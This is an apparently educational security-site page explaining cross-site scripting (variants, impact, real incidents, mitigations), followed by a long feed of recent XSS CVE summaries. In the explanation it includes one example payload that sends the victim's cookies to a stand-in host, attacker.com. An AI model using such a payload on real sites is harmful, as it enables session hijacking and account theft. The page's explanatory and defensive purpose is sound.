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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40687)

EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Olav Kolbu Google News allows Stored XSS.5.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Google +2
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Syed Balkhi Floating Social Bar allows Stored XSS.1.7. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in x000x occupancyplan allows Stored XSS.0.3.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Novium WoWHead Tooltips allows Stored XSS.0.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WPFable Fable Extra allows DOM-Based XSS.0.6. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pReya External Markdown allows Stored XSS.0.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Casey Johnson Loan Calculator allows Stored XSS.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in warmwhisky GTDB Guitar Tuners allows Stored XSS.2.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Yash Binani Time Based Greeting allows Stored XSS.2.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Craig Hewitt Seriously Simple Podcasting allows Stored XSS.9.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Seriously Simple Podcasting +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wowDevs Sky Addons for Elementor allows Stored XSS.0.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Habibur Rahman Razib Control Listings allows Reflected XSS.0.4.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in EverPress BruteGuard - Brute Force Login Protection allows Reflected XSS.1.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in wpeverest User Registration allows Reflected XSS. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS User Registration Membership +2
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in gopiplus@hotmail.com Anything Popup allows Reflected XSS.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in danielpataki ACF: Google Font Selector allows Reflected XSS.0.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Google +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Kiotviet KiotViet Sync allows Stored XSS.8.4. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability has been discovered in the code-projects Online Class and Exam Scheduling System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Class And Exam Scheduling System +1
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The FuseDesk plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘successredirect’ parameter in all versions up to, and including, 6.7 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Lottie Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via File uploads in all versions up to, and including, 1.1.8 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Advanced Accordion Gutenberg Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 5.0.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Category Posts Widget WordPress plugin before 4.9.20 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 4.4
MEDIUM This Month

The Mang Board WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the board_header and board_footer parameters in all versions up to, and including, 1.8.6 due to insufficient. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal Block Class allows Cross-Site Scripting (XSS).0.0 before 4.0.1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Drupal Block Class
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal Bootstrap Site Alert allows Cross-Site Scripting (XSS).0.0 before 1.13.0, from 3.0.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Drupal Bootstrap Site Alert +1
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal Colorbox allows Cross-Site Scripting (XSS).0.0 before 2.1.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Drupal Colorbox
NVD
EPSS 1% CVSS 9.6
CRITICAL Act Now

Arista NG Firewall User-Agent Cross-Site Scripting Remote Code Execution Vulnerability. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Ng Firewall +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A Cross-Site Scripting (XSS) vulnerability in the search function of Q4 Inc Investor Relations Platform v5.147.1.2 allows attackers to execute arbitrary Javascript via injecting a crafted payload. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.8
MEDIUM PATCH This Month

The built-in XY Chart plugin is vulnerable to a DOM XSS vulnerability. Rated medium severity (CVSS 6.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Red Hat Suse
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The UiCore Elements - Free Elementor widgets and templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the UI Counter, UI Icon Box, UI Testimonial Slider, UI Testimonial. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Laravel Starter 11.11.0 is vulnerable to Cross Site Scripting (XSS) in the tags feature. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability in the New Goal Creation section of Volmarg Personal Management System v1.4.65 allows authenticated attackers to execute arbitrary web scripts or. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability in the Image Upload section of Volmarg Personal Management System v1.4.65 allows authenticated attackers to execute arbitrary web scripts or HTML via. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A cross-site scripting (reflected XSS) vulnerability was found in Mettler Toledo FreeWeight.Net Web Reports Viewer 8.4.0 (440). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Cuba JPA web API enables loading and saving any entities defined in the application data model by sending simple HTTP requests. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The CUBA REST API add-on performs operations on data and entities. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

Jmix is a set of libraries and tools to speed up Spring Boot data-centric application development. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Java Jmix Framework +4
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability fin Student Management System v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the email parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Student Management System +1
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in Hoteldruid v3.0.5 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the commento1_1 parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Hoteldruid Digitaldruid
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Multiple XSS (CWE-79). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Ocean Extra plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ocean_gallery_id’ parameter in all versions up to, and including, 2.4.6 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Ocean Extra plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'oceanwp_icon' shortcode in all versions up to, and including, 2.4.6 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Visual Composer Visual Composer Website Builder allows Stored XSS.10.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Visual Composer Website Builder +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ataur R GutenKit allows Stored XSS.2.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Gutenkit +2
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Vikas Ratudi VForm allows Stored XSS.1.14. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Lifetime Free Drag Drop Contact Form Builder +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jeff Starr Simple Download Counter allows Stored XSS.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Simple Download Counter +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Jeff Starr Theme Switcha allows Stored XSS.4. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Theme Switcha +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in rbaer List Last Changes allows Stored XSS.2.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS List Last Changes +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Yannick Lefebvre Link Library allows Stored XSS.8. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Link Library +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Link Software LLC HTML Forms allows Stored XSS.5.2. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Html Forms +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in sonalsinha21 SKT Blocks - Gutenberg based Page Builder allows Stored XSS.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Skt Blocks +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Sirv CDN and Image Hosting Sirv allows Stored XSS.5.3. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Sirv +1
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Israpil Textmetrics allows Stored XSS.6.2. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Textmetrics +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Bastien Ho Event post allows DOM-Based XSS.9.11. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Event Post +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Brecht Custom Related Posts allows Stored XSS.7.4. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Custom Related Posts +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ferranfg MPL-Publisher allows Stored XSS.18.0. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Mpl Publisher +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Michael Post in page for Elementor allows DOM-Based XSS.0.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Post In Page For Elementor +3
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Tax Switch for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘class-name’ parameter in all versions up to, and including, 1.4.2 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The WP Import Export Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘wpiePreviewData’ function in all versions up to, and including, 3.9.27 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 7.1
HIGH POC This Week

The Front End Users WordPress plugin through 3.2.32 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Front End Users +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in flaskBlog v2.6.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the postContent parameter at /createpost. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Flaskblog Dogukanurker
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

code-projects Online Exam Mastering System 1.0 is vulnerable to Cross Site Scripting (XSS) in feedback.php via the "q" parameter allowing remote attackers to execute arbitrary code. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS RCE +2
NVD GitHub Exploit-DB
EPSS 1% CVSS 6.5
MEDIUM POC This Month

Cross Site Scripting vulnerability in Create/Modify article function in Alkacon OpenCMS 17.0 allows remote attacker to inject javascript payload via image title sub-field in the image field. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required. Public exploit code available and no vendor patch available.

XSS Opencms Alkacon
NVD GitHub
EPSS 0% CVSS 5.6
MEDIUM This Month

Stored XSS in Discussions in OpenText Content Management CE 20.2 to 25.1 on Windows and Linux allows authenticated malicious users to inject code into the system. Rated medium severity (CVSS 5.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Windows Microsoft
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in Alkacon OpenCMS v17.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the image parameter under the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Opencms Alkacon
NVD GitHub
EPSS 0% CVSS 2.1
LOW Monitor

An improper neutralization of input vulnerability was identified in the End of Life (EOL) OVA based connect installer component which is deployed for installation purposes in a customer network. Rated low severity (CVSS 2.1), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The KnowBe4 Security Awareness Training application before 2020-01-10 allows reflected XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Security Awareness Training
NVD
EPSS 0% CVSS 4.9
MEDIUM PATCH This Month

QMarkdown (aka quasar-ui-qmarkdown) before 2.0.5 allows XSS via headers even when when no-html is set. Rated medium severity (CVSS 4.9), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Qmarkdown
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in SourceCodester Web-based Pharmacy Product Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Web Based Pharmacy Product Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in SourceCodester Web-based Pharmacy Product Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Web Based Pharmacy Product Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability classified as problematic was found in SourceCodester Web-based Pharmacy Product Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Web Based Pharmacy Product Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability classified as problematic has been found in SourceCodester Web-based Pharmacy Product Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Web Based Pharmacy Product Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in SourceCodester Web-based Pharmacy Product Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Web Based Pharmacy Product Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in SourceCodester Web-based Pharmacy Product Management System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Web Based Pharmacy Product Management System +1
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in dazhouda lecms up to 3.0.3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

A vulnerability was found in songquanpeng one-api up to 0.6.10. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Suse
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The SB Chart block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘className’ parameter in all versions up to, and including, 1.2.6 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 1% CVSS 7.2
HIGH This Week

The Debug Log Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the auto-refresh debug log in all versions up to, and including, 2.3.4 due to insufficient input. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Themesflat Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the TF E Slider widget in all versions up to, and including, 2.2.5 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Element Pack Addons for Elementor - Free Templates and Widgets for Your WordPress Websites plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Wrapper Link, Countdown and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in DaiCuo 1.3.13. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Daicuo
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in NodeBB v4.0.4 and before allows remote attackers to store arbitrary code in the admin API Access token generator. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Nodebb
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in NodeBB v4.0.4 and before allows remote attackers to store arbitrary code and potentially render the blacklist IP functionality unusable until content is. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS RCE Nodebb
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in Alkacon OpenCMS v17.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the author parameter under the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Opencms Alkacon
NVD Exploit-DB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in baseweb JSite 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jsite
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in baseweb JSite 1.0. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jsite
NVD GitHub VulDB
